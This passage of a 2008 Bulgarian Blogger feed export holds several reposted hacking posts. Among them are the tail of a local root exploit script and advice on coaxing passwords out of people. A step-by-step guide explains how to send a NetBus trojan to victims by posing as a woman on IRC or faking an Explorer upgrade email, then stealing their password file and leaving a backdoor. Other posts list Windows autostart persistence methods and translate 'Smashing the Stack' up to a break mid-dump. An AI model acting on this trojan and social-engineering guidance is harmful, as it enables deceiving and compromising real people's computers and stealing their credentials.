-d&quot; &quot;&lt;br /&gt;-f1`&lt;br /&gt;rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c&lt;br /&gt;sleep 5&lt;br /&gt;if [ -u /tmp/x ] ; then&lt;br /&gt;echo &quot;leet...&quot;&lt;br /&gt;/tmp/x&lt;br /&gt;fi &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    oСоциална Инжинерия&lt;br /&gt;&lt;br /&gt;    Ето това е истина! Това не се учи! Това си е дарба. Най-лесно е да се поровите на някой user в сайта. Там той е написал кои&lt;br /&gt;са любимите му групи, филми, актьори и др. Можем да се хванем на бас, че на 60% от user - ските сайтове паролите са написани&lt;br /&gt;в самите тях. Номера е да накараш човека сам да Ви каже неговата парола с на пръв поглед безобидни битови въпроси. Та това е &lt;br /&gt;социалната инжинерия...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Има ама още страшно много начини за хак на сайтове, но не е нужно да разкриваме всички сега и тук. Все пак ако всичко ни &lt;br /&gt;беше дадено на готово доникъде намаше да стигнем. Глупостта на хората е много добро нещо! Зависи за коя страна, де... Също така разгледайте и &quot;Хакване на сървър&quot;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;От Неизвестен Хакер&gt;</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/7504214787307682452/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/7504214787307682452' title='1 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/7504214787307682452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/7504214787307682452'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/web-site-e.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-8568942863516955063</id><published>2008-02-28T07:15:00.005-08:00</published><updated>2008-02-28T07:15:57.384-08:00</updated><title type='text'></title><content type='html'>set wmi = getobject(&quot;winmgmts:&quot;)&lt;br /&gt;wql = &quot;select * from Win32_Process &quot; _&lt;br /&gt;&amp; &quot; where (name=&#39;diaspora.exe&#39; or name=&#39;Xiaspora.exe&#39; or name=&#39;Bulga5.exe&#39;)&quot;&lt;br /&gt;set results = wmi.execquery(wql)&lt;br /&gt;msgbox &quot;Siguren li si che iskash da spresh *Sporata?&quot;,,&quot;Potvardi&quot;&lt;br /&gt;for each app in results&lt;br /&gt;app.terminate&lt;br /&gt;next</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/8568942863516955063/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/8568942863516955063' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8568942863516955063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8568942863516955063'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/set-wmi-getobjectwinmgmts-wql-select.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-4675263677028819128</id><published>2008-02-28T07:15:00.003-08:00</published><updated>2008-02-28T07:15:33.510-08:00</updated><title type='text'></title><content type='html'>Как се да изпратя троянски кон и как да работя с него? &lt;br /&gt;Троянския кон е доста стара програма.Първият е написан в самото начало на нета.Той може да бъде използван за много неща. Взимане на паролата за нета от жертвата,изтриване на файлове,отваряне на cd-то,смяна на бутонте на мишката и тн.Тук ще разгледам използв- &lt;br /&gt;ането на троянски кон с програмата netbus.Според мене тя е по-удобна за начинаещи,отко- &lt;br /&gt;лкото BO.Като си изтеглите програмата netbus от страницата първото нещо което ще видите като отворите зипа са 2 exe файла.Това са patch.exe и netbus.exe.ВНИМАНИЕ!!!!!! &lt;br /&gt;не натискайте на patch.exe.Ако го направите-вече имате кон в системата си):.Така,patch.exe &lt;br /&gt;е файла който трябва да изпратите на жертвата.Като тя натисне на файла инсталира patch &lt;br /&gt;някъде в системата(най-вероятно в Windows/system)Но как да накарам някой първо да приеме файла а после да го натисне?Аз ви препоръчвам irc.Нам е пълно с сякакви неграмотници-туко що сдобили се с pc.Влизате с женски ник(например супер &lt;br /&gt;пичка,sexy,pamela и тн. и гледате в списака на никове.Избирате си някой и започвате &lt;br /&gt;да го наричате с хубави думи,като скъпи,патенце,но не се увличайте.Накрая като ви попита &lt;br /&gt;дали имате снимка,отговорете утвърдително.Пращате му patch.exe(разбирасепреименувано) &lt;br /&gt;После като ви каже,че няма снимка вие му отговорете,че е станала някаква грешка. &lt;br /&gt;Също така лесен начин да изпратиш троянски кон е по e-mail.Взимате си програма за fakemail(такава има в download)Закачате му patch.exe с subject-Ъпгрейтнете вашия &lt;br /&gt;Internet Explorer 4.0 на 5.0 и тн.(много се хващат на тва)и проверявайте дали е станало нещо.За да се конекнете в системата на жертвата трябва да имате неговото IP и порт. &lt;br /&gt;Какво да правя като влезна в системата?Груби намеси като изтриване на системните &lt;br /&gt;файлове или рестартиране на компютъра биха се оказали не-добри.Жертвата веднага &lt;br /&gt;ще разбере,че става нещо гнило.Според мен трябва само да вземете файла с паролата &lt;br /&gt;за интернет, коята се намира някъде в windows.Точно сега не мога да се сета къде.Така &lt;br /&gt;ще си имате акаунт и ще си оставите вратичка в тази система.</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/4675263677028819128/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/4675263677028819128' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/4675263677028819128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/4675263677028819128'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/blog-post_28.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-2272125838440385020</id><published>2008-02-28T07:15:00.001-08:00</published><updated>2008-02-28T07:15:12.711-08:00</updated><title type='text'></title><content type='html'>All Known and Unknown Autostart Methods from TLSecurity.net&lt;br /&gt;&lt;br /&gt;1. Autostart folder&lt;br /&gt;   Everything in here will restart.&lt;br /&gt;   C:\windows\start menu\programs\startup {english}&lt;br /&gt;   C:\windows\Menu Demarrer\Programmes\Demarrage {french}&lt;br /&gt;   This Autostart Directory is saved in    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell&lt;br /&gt;   Folders Startup=&quot;C:\windows\start menu\programs\startup&quot; &lt;br /&gt;   &#39;So it could be easily changed by any program.&lt;br /&gt;&lt;br /&gt;2. Win.ini&lt;br /&gt;   [windows]&lt;br /&gt;   load=file.exe&lt;br /&gt;   run=file.exe&lt;br /&gt;&lt;br /&gt;3. System.ini [boot]&lt;br /&gt;   Shell=Explorer.exe file.exe&lt;br /&gt;&lt;br /&gt;4. c:\windows\winstart.bat&lt;br /&gt;   &#39;Note behaves like an usual BAT file. Used for copying deleting specific files. Autostarts&lt;br /&gt;    everytime&lt;br /&gt;&lt;br /&gt;5. Registry&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]&lt;br /&gt;   [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;   [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]&lt;br /&gt;   [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]&lt;br /&gt;&lt;br /&gt;6. c:\windows\wininit.ini&lt;br /&gt;   &#39;Often Used by Setup-Programs when the file exists it is run ONCE and then is deleted by     windows&lt;br /&gt;    Example: (content of wininit.ini)&lt;br /&gt;    [Rename]&lt;br /&gt;    NUL=c:\windows\picture.exe&lt;br /&gt;    &#39;This example sends c:\windows\picture.exe to NUL, which means that it is deleted. This&lt;br /&gt;    requires no interactivity with the user and runs totaly stealth.&lt;br /&gt;&lt;br /&gt;7. Autoexec.bat&lt;br /&gt;   Starts everytime at Dos Level.&lt;br /&gt;                                                              &lt;br /&gt;8. Registry Shell Spawning&lt;br /&gt;   [HKEY_CLASSES_ROOT\exefile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_CLASSES_ROOT\comfile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_CLASSES_ROOT\batfile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_CLASSES_ROOT\piffile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @=&quot;\&quot;%1\&quot; %*&quot;&lt;br /&gt;     &lt;br /&gt;   The key should have a value of Value &quot;%1 %*&quot;, if this is changed to &quot;server.exe %1 %*&quot;,&lt;br /&gt;   the server.exe is executed EVERYTIME an exe/pif/com/bat/hta is executed.&lt;br /&gt;   Known as Unkown Starting Method and is currently used by Subseven.&lt;br /&gt;&lt;br /&gt; 9. Icq Inet&lt;br /&gt;   [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]&lt;br /&gt;   &quot;Path&quot;=&quot;test.exe&quot;&lt;br /&gt;   &quot;Startup&quot;=&quot;c:\\test&quot;&lt;br /&gt;   &quot;Parameters&quot;=&quot;&quot;&lt;br /&gt;   &quot;Enable&quot;=&quot;Yes&quot;&lt;br /&gt;&lt;br /&gt;   [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\&lt;br /&gt;   This key includes all the APPS which are executed IF ICQNET Detects an Internet Connection.&lt;br /&gt;&lt;br /&gt;9. Misc Information&lt;br /&gt;   [HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] &lt;br /&gt;   @=&quot;Scrap object&quot; &quot;NeverShowExt&quot;=&quot;&quot;&lt;br /&gt;                                                              &lt;br /&gt;   The NeverShowExt key has the function to HIDE the real extension of the file (here) SHS.&lt;br /&gt;   This means if you rename a file as &quot;Girl.jpg.shs&quot; it displays as &quot;Girl.jpg&quot; in all programs&lt;br /&gt;   including Explorer.&lt;br /&gt;   Your registry should be full of NeverShowExt keys, simply delte the key to get the real&lt;br /&gt;   extension to show up.&lt;br /&gt;____________________________________________________________________________________________&lt;br /&gt;&lt;br /&gt;   The always-up-todate version can be found at :&lt;br /&gt;   http://www.ivtg.hit.bg/</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/2272125838440385020/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/2272125838440385020' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/2272125838440385020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/2272125838440385020'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/all-known-and-unknown-autostart-methods.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-6798942243161748908</id><published>2008-02-28T07:14:00.001-08:00</published><updated>2008-02-28T07:14:50.399-08:00</updated><title type='text'></title><content type='html'>В този пример от All-Nettools лявото цвете (8.9К) не съдържа скрита информация, а дясното (11.2К) съдържа около 5К текст защитен с парола. На втория ред левият файл (4.6К) е празен, докато десния съдържа 0.5К текст (големината на файла се е запазила). &lt;br /&gt;&lt;br /&gt;Няма точен отготор точно колко информация може да бъде скрита чрез стеганографията. Често използван пример е, че можете да скриете текста на Библията в изображението на доларова банкнота, но банкнотата ще е голяма колкото монитора ви. Има две основни правила: първо, големите файлове, динамичните медии като видео файловете, могат да скрият повече информация. Второ, ако се опитате да вмъкнете прекалено много информация, може да промените файла прекалено много. За предпочитане е да не се използват едноцветни изображения или такива с преобладаващ сив цвят, защото промените в тях ще бъдат по-лесно забелязани.&lt;br /&gt;&lt;br /&gt;Програми&lt;br /&gt;&lt;br /&gt;Една от често използваните стенографски програми е S-Tools, която позволява да скриете всякакви файлове в .gif и .bmp изображения или .wav файлове. Програмата не само скрива дадения файл, но и го криптира. Просто изтегляте с мишката “носещия” файл до прозореца на програмата, след това изтегляте и файла, който искате да скриете, избирате алгоритъм на кодиране и парола и сте готови!&lt;br /&gt;&lt;br /&gt;Други програми са Steganos Security Suiteи Scramdisk, която създава виртуален дял в даден .wav файл и скрива в него вашата информация. Големината на кодирания дял варира между 25 и 50% от оригиналната големина на файла. Най-хубавото нещо на програмата е, че без да знаете фразата-парола е невъзможно да докажете, че файлът съдържа допълнителна информация. Програмата snow пък скрива дадено съобщение като прибавя по един интервал в края на всеки ред на текстов файл или e-mail. Може би най-странната стеганографска програма е Spam Mimic, която кодира вашето съобщение в e-mail-и на вид идентични със спамовете, които получавате ежедневно.&lt;br /&gt;&lt;br /&gt;Комерсиалните стеганографски програми се концентрират върху прибавянето на дигитални водни знаци към аудио файлове и изображения. Тези знаци се разчитат от специални програми и съдържат данни кога е бил създаден файла, кой държи авторските права, начин за връзка с автора и т.н. И все пак, водните знаци не могат да издържат на манипулирането на файловете с програми като StirMark и UnZign, които се появиха в мрежата с въвеждането на технологията.</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/6798942243161748908/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/6798942243161748908' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6798942243161748908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6798942243161748908'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/all-nettools-8.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-8676525950375269728</id><published>2008-02-28T07:13:00.006-08:00</published><updated>2008-02-28T07:14:08.725-08:00</updated><title type='text'></title><content type='html'>BugTraq, r00t, и Underground.Org&lt;br /&gt;                                ви представят:&lt;br /&gt;&lt;br /&gt;                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;                     Smashing The Stack For Fun And Profit&lt;br /&gt;                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;&lt;br /&gt;                                 от Aleph One&lt;br /&gt;                             aleph1@underground.org&lt;br /&gt;&lt;br /&gt;                               (Българска Версия)&lt;br /&gt;                             (преведено от |Razor|)&lt;br /&gt;          Заб. Текста ограден в (* ... *) е пояснение вмъкнато от мен&lt;br /&gt;&lt;br /&gt;                                   / Част 2 \&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                  Shell Code&lt;br /&gt;                                  ----------&lt;br /&gt;&lt;br /&gt;   Сега след като знаем, че лесно можем да променим адреса, на който дадена&lt;br /&gt;функция `прескача` след завършването си и следователно хода на изпълнение на&lt;br /&gt;програмата нека помислим какво бихме искали да направим? В повечето случаи&lt;br /&gt;е най-добре просто да стартираме отделен shell. От него след това можем да&lt;br /&gt;изпълняваме всякакви команди. Но какво ще стане ако в програмата няма код кой-&lt;br /&gt;то да стартира нова обвивка (shell)? Как бихме могли да сложим наши собствени&lt;br /&gt;иструкции в паметта? Отговора е да поставим необходимите инструкции в буфера,&lt;br /&gt;с който ще препълваме, след което да презапишем връщания адрес, така че той да&lt;br /&gt;сочи нашия буфер. Приемайки, че стека започва от адрес 0xFF и че с S онзачава-&lt;br /&gt;ме кода, който искаме да изпълним, нашият стек би изглеждал по следния начин:&lt;br /&gt;&lt;br /&gt;нисък ад-  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     висок адрес&lt;br /&gt;рес        89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     на паметта&lt;br /&gt;&lt;br /&gt;           buffer                sfp   ret   a     b     c&lt;br /&gt;&lt;------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]&lt;br /&gt;           ^                            |&lt;br /&gt;           |____________________________|&lt;br /&gt;връх на                                                              дъно на&lt;br /&gt;стека                                                                  стека&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ето примерна програма, която стартира shell&lt;br /&gt;&lt;br /&gt;shellcode.c&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;   char *name[2];&lt;br /&gt;&lt;br /&gt;   name[0] = &quot;/bin/sh&quot;;&lt;br /&gt;   name[1] = NULL;&lt;br /&gt;   execve(name[0], name, NULL);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   За да разберем как изглежда програмата приведена към асемблер, първо е ком-&lt;br /&gt;пилираме, а след това стартираме gdb. Не забравяйте да използувате параметъ-&lt;br /&gt;ра `-static` на компилатора. В противен случай кодът за системната функция&lt;br /&gt;execve няма да бъде включен.&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;$ gcc -o shellcode -ggdb -static shellcode.c&lt;br /&gt;$ gdb shellcode&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type &quot;show copying&quot; to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type &quot;show warranty&quot; for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x8000130 &lt;main&gt;:       pushl  %ebp&lt;br /&gt;0x8000131 &lt;main+1&gt;:     movl   %esp,%ebp&lt;br /&gt;0x8000133 &lt;main+3&gt;:     subl   $0x8,%esp&lt;br /&gt;0x8000136 &lt;main+6&gt;:     movl   $0x80027b8,0xfffffff8(%ebp)&lt;br /&gt;0x800013d &lt;main+13&gt;:    movl   $0x0,0xfffffffc(%ebp)&lt;br /&gt;0x8000144 &lt;main+20&gt;:    pushl  $0x0&lt;br /&gt;0x8000146 &lt;main+22&gt;:    leal   0xfffffff8(%ebp),%eax&lt;br /&gt;0x8000149 &lt;main+25&gt;:    pushl  %eax&lt;br /&gt;0x800014a &lt;main+26&gt;:    movl   0xfffffff8(%ebp),%eax&lt;br /&gt;0x800014d &lt;main+29&gt;:    pushl  %eax&lt;br /&gt;0x800014e &lt;main+30&gt;:    call   0x80002bc &lt;__execve&gt;&lt;br /&gt;0x8000153 &lt;main+35&gt;:    addl   $0xc,%esp&lt;br /&gt;0x8000156 &lt;main+38&gt;:    movl   %ebp,%esp&lt;br /&gt;0x8000158 &lt;main+40&gt;:    popl   %ebp&lt;br /&gt;0x8000159 &lt;main+41&gt;:    ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) disassemble __execve&lt;br /&gt;Dump of assembler code for function __execve:&lt;br /&gt;0x80002bc &lt;__execve&gt;:   pushl  %ebp&lt;br /&gt;0x80002bd &lt;__execve+1&gt;: movl   %esp,%ebp&lt;br /&gt;0x80002bf &lt;__execve+3&gt;: pushl  %ebx&lt;br /&gt;0x80002c0 &lt;__execve+4&gt;: movl   $0xb,%eax&lt;br /&gt;0x80002c5 &lt;__execve+9&gt;: movl   0x8(%ebp),%ebx&lt;br /&gt;0x80002c8 &lt;__execve+12&gt;:        movl   0xc(%ebp),%ecx&lt;br /&gt;0x80002cb &lt;__execve+15&gt;:        movl   0x10(%ebp),%edx&lt;br /&gt;0x80002ce &lt;__execve+18&gt;:        int    $0x80&lt;br /&gt;0x80002d0 &lt;__execve+20&gt;:        movl   %eax,%edx&lt;br /&gt;0x80002d2 &lt;__execve+22&gt;:        testl  %edx,%edx&lt;br /&gt;0x80002d4 &lt;__execve+24&gt;:        jnl    0x80002e6 &lt;__execve+42&gt;&lt;br /&gt;0x80002d6 &lt;__execve+26&gt;:        negl   %edx&lt;br /&gt;0x80002d8 &lt;__execve+28&gt;:        pushl  %edx&lt;br /&gt;0x80002d9 &lt;__execve+29&gt;:        call   0x8001a34 &lt;__normal_errno_location&gt;&lt;br /&gt;0x80002de &lt;__execve+34&gt;:        popl   %edx&lt;br /&gt;0x80002df &lt;__execve+35&gt;:        movl   %edx,(%eax)&lt;br /&gt;0x80002e1 &lt;__execve+37&gt;:        movl   $0xffffffff,%eax&lt;br /&gt;0x80002e6 &lt;__execve+42&gt;:        popl   %ebx&lt;br /&gt;0x80002e7 &lt;__execve+43&gt;:        movl   %ebp,%esp&lt;br /&gt;0x80002e9 &lt;__execve+45&gt;:        popl   %ebp&lt;br /&gt;0x80002ea &lt;__execve+46&gt;:        ret&lt;br /&gt;0x80002eb &lt;__execve+47&gt;:        nop&lt;br /&gt;End of assembler dump.&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Нека разберем за какво става въпрос в горния код:&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;0x8000130 &lt;main&gt;:       pushl  %ebp&lt;br /&gt;0x8000131 &lt;main+1&gt;:     movl   %esp,%ebp&lt;br /&gt;&lt;br /&gt;    (*Това е процедурния пролог, който разгледахме в предишната глава*)&lt;br /&gt;    (*заделяне на 2 указателя за стрингове. Знаем че сължината на ука-&lt;br /&gt;      зател е 4 байта или общо стават 8 *)&lt;br /&gt;&lt;br /&gt;0x8000133 &lt;main+3&gt;:     subl   $0x8,%esp&lt;br /&gt;    (*Еквивалентно на C е: *)&lt;br /&gt; char *name[2];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;0x8000136 &lt;main+6&gt;:     movl   $0x80027b8,0xfffffff8(%ebp)&lt;br /&gt;    (*копиране стойността на адрес 0x80027b8 (на него е &quot;/bin/sh&quot;) в&lt;br /&gt;      първия указател на name[]. Това е аналогично на: *)&lt;br /&gt; name[0] = &quot;/bin/sh&quot;;&lt;br /&gt;&lt;br /&gt;0x800013d &lt;main+13&gt;:    movl   $0x0,0xfffffffc(%ebp)&lt;br /&gt;    (*копиране на NULL (0x0) във втория указател на name[]. Това&lt;br /&gt;      е също като:*)&lt;br /&gt; name[1] = NULL;&lt;br /&gt;&lt;br /&gt;    (*от тук започва предаването на аргументите към execve() (както каза-&lt;br /&gt;      хме в обратен ред*)&lt;br /&gt;&lt;br /&gt;0x8000144 &lt;main+20&gt;:    pushl  $0x0&lt;br /&gt;    (*пускаме в стека NULL (последният параметър) *)&lt;br /&gt;&lt;br /&gt;0x8000146 &lt;main+22&gt;:    leal   0xfffffff8(%ebp),%eax&lt;br /&gt;0x8000149 &lt;main+25&gt;:    pushl  %eax&lt;br /&gt;    (*зареждаме адреса на name[] в EAX и той отива в кюпа ;) *)&lt;br /&gt;&lt;br /&gt;0x800014a &lt;main+26&gt;:    movl   0xfffffff8(%ebp),%eax&lt;br /&gt;0x800014d &lt;main+29&gt;:    pushl  %eax&lt;br /&gt;    (*съхраняваме адреса и на стринга &quot;/bin/sh&quot; в EAX,след което го пъ-&lt;br /&gt;      хаме на върха*)&lt;br /&gt;&lt;br /&gt;0x800014e &lt;main+30&gt;:    call   0x80002bc &lt;__execve&gt;&lt;br /&gt;    (*и най-накрая извикваме execve() *)&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   Тежко,а? Ама тежкото тепърва се започва. Предстои ни на деасамблираме execve()&lt;br /&gt;Аргументите към системни извиквания (system calls) се предават чрез регистрите,&lt;br /&gt;а използуването на тези `call` става чрез извикване на софтуерно прекъсване(int).&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;0x80002bc &lt;__execve&gt;:   pushl  %ebp&lt;br /&gt;0x80002bd &lt;__execve+1&gt;: movl   %esp,%ebp&lt;br /&gt;0x80002bf &lt;__execve+3&gt;: pushl  %ebx&lt;br /&gt;&lt;br /&gt;    (*Е, това си е пак пролога*)&lt;br /&gt;&lt;br /&gt;0x80002c0 &lt;__execve+4&gt;: movl   $0xb,%eax&lt;br /&gt;    (*копиране на 0xb (или казано по десетически 11 :) ) в EAX. Това е индек-&lt;br /&gt;      сът в таблицата на системни повиквания - 11=execve. *)&lt;br /&gt;&lt;br /&gt;0x80002c5 &lt;__execve+9&gt;: movl   0x8(%ebp),%ebx&lt;br /&gt;    (*както казахме параметрите при системни повиквания не се предават както&lt;br /&gt;      при функциите чрез стека, а чрез регистрите. Редът отгоре копира &lt;br /&gt;      &quot;/bin/sh&quot; в EBX *)&lt;br /&gt;&lt;br /&gt;0x80002c8 &lt;__execve+12&gt;:        movl   0xc(%ebp),%ecx&lt;br /&gt;    (*копиране на адреса на name[] в ECX *)&lt;br /&gt;&lt;br /&gt;0x80002cb &lt;__execve+15&gt;:        movl   0x10(%ebp),%edx&lt;br /&gt;    (*копиране на адреса на NULL в EDX*)&lt;br /&gt;&lt;br /&gt;0x80002ce &lt;__execve+18&gt;:        int    $0x80&lt;br /&gt;    (*извикване на прекъсване $0x80 - преминаване в kernel-a *)&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   И така както се вижда и execve() не е нищо сложно. Всичко, от което се&lt;br /&gt;нуждаеме, за да го направим е:&lt;br /&gt;&lt;br /&gt;     - стрингът &quot;/bin/sh&quot; някъде в паметта (разбира се завършен с NULL)&lt;br /&gt;     - адресът на стринга &quot;/bin/sh&quot;&lt;br /&gt;     - копираме 0xb в EAX&lt;br /&gt;     - копираме адресът на адреса на стринга в EBX&lt;br /&gt;     - копираме адресът на стринга в ECX&lt;br /&gt;     - копираме адреса на NULL в EDX&lt;br /&gt;     - извикваме прекъсване $0x80&lt;br /&gt;&lt;br /&gt;   Но какво ще стане ако изпълнението на execve() бъде провалено по няка-&lt;br /&gt;къв начин? Програмата ще продължи изпълнението на инструкциите указани в&lt;br /&gt;стека, които всъщност може да съдържат случайна информация, което може да&lt;br /&gt;доведе до всякакви непредвидени резултати. Целта ни все пак е програмата да&lt;br /&gt;си свърши работата и да не се усети, че нещо е пипано дори да възникнат гре-&lt;br /&gt;шки. За да направим това трябва да добавим `exit` след извикването на&lt;br /&gt;execve(). Но как изглежда системната фукнция `exit`?&lt;br /&gt;&lt;br /&gt;exit.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;        exit(0);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;$ gcc -o exit -static exit.c&lt;br /&gt;$ gdb exit&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type &quot;show copying&quot; to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type &quot;show warranty&quot; for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(no debugging symbols found)...&lt;br /&gt;(gdb) disassemble _exit&lt;br /&gt;Dump of assembler code for function _exit:&lt;br /&gt;0x800034c 